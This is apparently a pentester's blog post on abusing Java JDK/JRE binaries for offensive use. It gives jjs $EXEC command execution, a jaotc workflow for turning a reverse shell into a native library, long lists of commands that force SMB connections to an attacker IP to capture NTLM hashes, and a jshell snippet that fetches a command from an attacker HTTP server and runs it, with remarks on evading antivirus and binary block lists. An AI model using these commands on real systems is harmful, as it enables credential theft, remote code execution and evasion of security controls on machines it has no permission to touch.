Java giving more shells on everything

Back in 2018 I blogged about how java gives a shell for everything, and also how to compile in memory as an AV Evasion technique. Some of these techniques have now been added into gtfo bins, and heroes even integrated them into metasploit.

In this post I go through the most recent JDK/JRE and look for new features Pentesters may find useful. Apologies for this reading a bit like a shotgun blast of information. But this is essentially the notes I took as I poked around in the order I did it. I am personally most interested in the last part with “jshell” if you want to see just one part then go there.

First what about different Versions of Java?

There are two major versions of Java:

  • Java Runtime Environment (JRE) – Which is used on machines that only need to execute Java code. The binary “java” is used to execute code.
  • Java Development Environment (JDK) – Which is needed on developer machines. The “javac” command is used to compile “.java” files into “.class” files which can then be executed.

If you have landed on a laptop or workstation the chances are only the JRE is installed unless the user is a developer. If you land on a server which hosts a website powered by Java you probably have the JDK installed. There are far more binary commands bundled in the JDK than the JRE so there is more scope for naughtiness with the JDK.

Comparison of Binaries Available in JRE/JDK

I downloaded the most recent Windows JRE and JDK and compared the list of executables in the “/bin” folder. The raw data is in this spreadsheet. The short version is that these are the binaries which are shared between the JRE and JDK:

Shared
jabswitch
java
javaw
keytool
kinit
klist
ktab
rmid
rmiregistry
List of commands shared by JRE and JDK

If you find something that works in these binaries then you should congratulate yourself for finding a universal Java technique.

Other points of note from the spreadsheet:

  • jjs.exe exists in the latest JRE meaning our JavaScript payload techniques are still in play there.
  • jrunscript.exe exists in the latest JDK. However, there appeared to be no Nashorn included.

I can confirm that Nashorn worked in “jjs.exe” for the most recent JRE:

Hello from Nashorn in JRE

And that it did not work out of the box for “jrunscript.exe” in the most recent JDK:

No Nashorn for you.

While the binary exists it has been neutered unless Nashorn has been added separately.

An easier command prompt via JJS

Last time I gave JavaScript commands that you could type into a JJS prompt which would give you a reasonably interactive command prompt. The reason for doing this is to get a functional command prompt in an environment where maybe powershell.exe, cmd.exe, and ftp.exe etc are all blocked. In that universe “jjs.exe” worked no problem. I mean where exclude lists are used instead of allow lists for running binaries.

This time I properly RTFM and spotted this nugget:

The JJS Manual

If you run “jjs” with “-scripting=true” then it will give you access to the “$EXEC()” function. This can be used to execute local commands within JJS without needing to type in any JavaScript:

Using $EXEC

A minor improvement depending on how you want to look at it. It is a little inconvenient typing “$EXEC()” every time. So you can save a few keystrokes with a simple function that shortens it:

using “a” function to alias $EXEC()

But then I got intrigued by what other binaries were hanging around in a modern JDK install. So I looked into the contents of the “bin” folder again.

Ahead of Time Compilation with jaotc

I spotted a new binary called “jaotc” which has a useful tutorial here. Jaotc is summarised as:

“The Java static compiler that produces native code for compiled Java methods”

Ears of hackers must have pricked up there. Did you say “native code”? Can confirm it did. It aims to make faster Java apps by allowing you to convert a class to native code.

It will compile a class file into a “.so” library. Lets assume you have a reverse shell in “rev.java” your work flow is like this:

javac rev.java
jaotc --output rev.so rev.class

Line 1 compiles it into normal Java Bytecode.
Line 2 converts that to a native library.

If you run the file command it is now an ELF binary:

file rev.so
rev.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped

Who knows what transforms have just gone on to make that magic work. The transforms might be useful for hiding payloads. I am not a reverse engineer by any stretch of the term so I have probably not grasped the hacking potential of this.

To run your library via Java you need to do this:

java -XX:+UnlockExperimentalVMOptions -XX:AOTLibrary=./rev.so

Note: at the moment this is an experimental option so you need the “UnlockExperimentalVMOptions” argument.

It will work on Linux and on Windows Linux Subsystem. There is no support for compiling “.dll” files so this is going to be a niche choice, and I am not entirely sure how to use it for nefarious purposes today. A pin in that for later maybe.

Triggering DNS/Getting NTLM Hashes

JDK/JRE binaries allow input files within their command line arguments. These accept UNC paths so can be used to trigger DNS resolution. If you are on the same network (or the Firewall is crazy and allows SMB outbound) then you can use responder to capture NTLM hashes:

Capturing hashes landing in Responder Logs

Note: I have a recent post which includes a bit on how to crack these hashes.

JDK/JRE binaries have a myriad of options which handle file paths. I stopped looking when I found one way to do it per binary or I had spent longer than 5 minutes looking. Therefore this is not exhaustive and there will be more:

jar -v -t --file=\\192.168.45.129\test
jarsigner-verify \\192.168.45.129\test
java \\192.168.45.129\test
javac \\192.168.45.129\test
javadoc \\192.168.45.129\test
javap \\192.168.45.129\test
jcmd 1 -f \\192.168.45.129\test
jdeprscan.exe \\192.168.45.129\test
jdeps \\192.168.45.129\test
jfr metadata \\192.168.45.129\test
jhsdb clhsdb --core \\192.168.45.129\test --exe test.exe # Do not use this
jimage info \\192.168.45.129\test
jlink --module-path \\192.168.45.129\test
jmap -histo:live,file=\\192.168.45.129\test <pid> # Requires PID for valid Java Process
jmod list \\192.168.45.129\test
jpackage --input \\192.168.45.129\test --main-jar test
jrunscript.exe -cp \\192.168.45.129\test
jshell \\192.168.45.129\test
kinit -c \\192.168.45.129\test
klist -c -f FILE:\\192.168.45.129\test
ktab -k FILE:\\192.168.45.129\test
rmid -log \\192.168.45.129\test

Note: the “jhsdb” command opens its own command prompt interface which would remain open if you had a victim open it. While it did result in an SMB handshake I would not advise using this.

In addition to those above, I found an almost universal way to trigger an SMB interaction. Most binaries would run a JVM when they execute, which makes sense because they are made in Java. The JVM supports various options. The “Xloggc” option (or the incoming “-Xlog:gc” syntax) can specify the location for a log file whenever the JVM does garbage collection. It accepts UNC paths.

The beautiful thing is that this triggers an SMB connection as the JVM loads meaning that you do not need to supply valid command line arguments to the binary you are launching. This saves a lot of effort reading “–help”.

The following is a list of examples that worked for the most recent JDK binaries:

jaccessinspector.exe -J-Xloggc:\\192.168.45.129\test
jarsigner.exe -J-Xloggc:\\192.168.45.129\test
javadoc -J-Xloggc:\\192.168.45.129\test
javap -J-Xloggc:\\192.168.45.129\test
javaw -Xloggc:\\192.168.45.129\test # This causes a GUI popup error
jcmd -J-Xloggc:\\192.168.45.129\test
jconsole -J-Xloggc:\\192.168.45.129\test # This causes a GUI popup error
jdb -J-Xloggc:\\192.168.45.129\test
jdeprscan -J-Xloggc:\\192.168.45.129\test
jdeps -J-Xloggc:\\192.168.45.129\test
jfr -J-Xloggc:\\192.168.45.129\test
jhsdb -J-Xloggc:\\192.168.45.129\test
jimage -J-Xloggc:\\192.168.45.129\test
jinfo -J-Xloggc:\\192.168.45.129\test
jlink -J-Xloggc:\\192.168.45.129\test
jmap -J-Xloggc:\\192.168.45.129\test
jmod -J-Xloggc:\\192.168.45.129\test
jpackage -J-Xloggc:\\192.168.45.129\test
jps -J-Xloggc:\\192.168.45.129\test
jrunscript -J-Xloggc:\\192.168.45.129\test
jshell -J-Xloggc:\\192.168.45.129\test              
jstack -J-Xloggc:\\192.168.45.129\test     
jstat -J-Xloggc:\\192.168.45.129\test              
jstatd -J-Xloggc:\\192.168.45.129\test      
keytool -list -J-Xloggc:\\192.168.45.129\test
kinit -J-Xloggc:\\192.168.45.129\test
klist -J-Xloggc:\\192.168.45.129\test              
ktab -J-Xloggc:\\192.168.45.129\test             
rmid.exe  -J-Xloggc:\\192.168.45.129\test
rmiregistry -J-Xloggc:\\192.168.45.129\test
serialver -J-Xloggc:\\192.168.45.129\test

Pretty much every binary in the JDK supported this approach!

As the “java” command runs the JVM directly there is a no need for the “-J-” part so this is the syntax for doing the same there:

java -Xloggc:\\192.168.45.129\test

When a binary existed in both the JDK and JRE there were subtle differences. For example, the JDK version of “javaw” required the “-J-” syntax, while the JRE version worked using “-Xloggc” directly.

As always experiment on your own computer before attempting the technique on a victim’s PC. That nugget of advice is pure gold and will save you thousands of wasted hours.

jshell is my new favourite thing

This command was new to me and its name immediately stood out as potentially useful. This makes Java an interpreted language!!! You can write whatever Java you want and it executes it exactly the same way as using the Python interpreter for example:

InputStream inputStream = new URL("http://192.168.45.129/test").openStream();
String cmd = new BufferedReader(new InputStreamReader(inputStream)).lines().collect(Collectors.joining("\n"));
Process proc = Runtime.getRuntime().exec(cmd);
String result = new BufferedReader(new InputStreamReader(proc.getInputStream())).lines().collect(Collectors.joining("\n"));

The above will download a file over HTTP and save the contents of the file into the “cmd” String. It will then run that command and save the output to the “result” string. The screenshot below shows this operating:

Using jshell

I saved the command “whoami” in the “test” file which was then served using a python HTTP listener like this:

python -m SimpleHTTPServer 80

You can see that above in the line saying cmd ==> “whoami”.

Additionally, you can store Java commands in a .jsh file and then have them execute as shown:

jshell whatever.jsh

If you save the above example into “whatever.jsh” it will run the commands blindly and you won’t see what was run. If you type “result” though the output from the command will be there. This puts your payload on Disk where it is more likely to be gobbled by AV.

There is a nice tutorial for jshell here. To me this has the same impact as “jrunscript” and “jjs” did before for Nashorn. Only now you are writing payloads in Java instead of JavaScript.

This thing is gorgeous and I love it because it is another scripting language essentially and one which may be a blind spot.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.